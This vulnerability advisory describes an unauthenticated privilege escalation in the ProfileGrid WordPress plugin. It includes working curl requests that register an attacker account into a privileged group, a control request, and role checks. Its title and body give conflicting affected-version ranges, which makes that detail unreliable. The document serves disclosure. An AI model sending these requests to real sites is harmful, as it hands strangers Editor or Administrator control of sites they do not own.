ProfileGrid < 5.9.9.8 – Unauthenticated Privilege Escalation via Unrestricted Group ID | CVE 2026-12687

Description

The plugin does not restrict which group an anonymous visitor may register into through its front-end registration, allowing unauthenticated users to register directly into a privileged group and be granted that group's configured role, up to Administrator when such a group exists, leading to privilege escalation.

Proof of Concept

Affected: ProfileGrid <= 5.9.9.5. Unauthenticated, no valid nonce required.

Prerequisites (realistic site configuration):
1. ProfileGrid is active and a front-end registration page exists containing the [profilegrid_register] shortcode (the plugin's standard registration page).
2. An admin has created at least one group whose "Associate Role" is a privileged role (ProfileGrid > Groups). ProfileGrid's group editor offers the full WordPress role list, including Editor and Administrator. On a typical community/membership site this is a "Staff", "Editors" or "Moderators" group. Note its numeric group ID; group IDs are small sequential integers and are also enumerable via the public [profilegrid_groups] directory shortcode. In this PoC the elevated group has ID 2 (Associate Role = Editor) and the default public group has ID 1 (Associate Role = Subscriber).

Exploit (anonymous, no cookies, no authentication):

# Register into the elevated group by supplying its group ID
curl -k -i "https://TARGET/register/?gid=2&action=process" \
  --data-urlencode action=process \
  --data-urlencode gid=2 \
  --data-urlencode user_login=attacker \
  --data-urlencode user_email=attacker@evil.test \
  --data-urlencode user_pass=ExploitPass123! \
  --data-urlencode confirm_pass=ExploitPass123! \
  --data-urlencode reg_form_submit=1
# -> HTTP 200; a new account "attacker" is created with the Editor role.

Control (proves the group ID is the sole control over the granted role):

# The same registration into the default group (gid=1) yields only a Subscriber
curl -k -i "https://TARGET/register/?gid=1&action=process" \
  --data-urlencode action=process --data-urlencode gid=1 \
  --data-urlencode user_login=control --data-urlencode user_email=control@evil.test \
  --data-urlencode first_name=Joe --data-urlencode last_name=User \
  --data-urlencode user_url=https://example.test --data-urlencode description=x \
  --data-urlencode user_pass=ExploitPass123! --data-urlencode confirm_pass=ExploitPass123! \
  --data-urlencode reg_form_submit=1
# -> new account "control" has the Subscriber role.

Verify the granted roles:
wp user get attacker --field=roles   # editor
wp user get control  --field=roles   # subscriber

Result: the only difference between the two requests is the attacker-chosen group ID, yet the first yields an Editor account and the second a Subscriber account. If the site has a group whose Associate Role is Administrator, supplying that group's ID yields a full Administrator account (complete site takeover). The registration process path performs no nonce verification, so no token is required.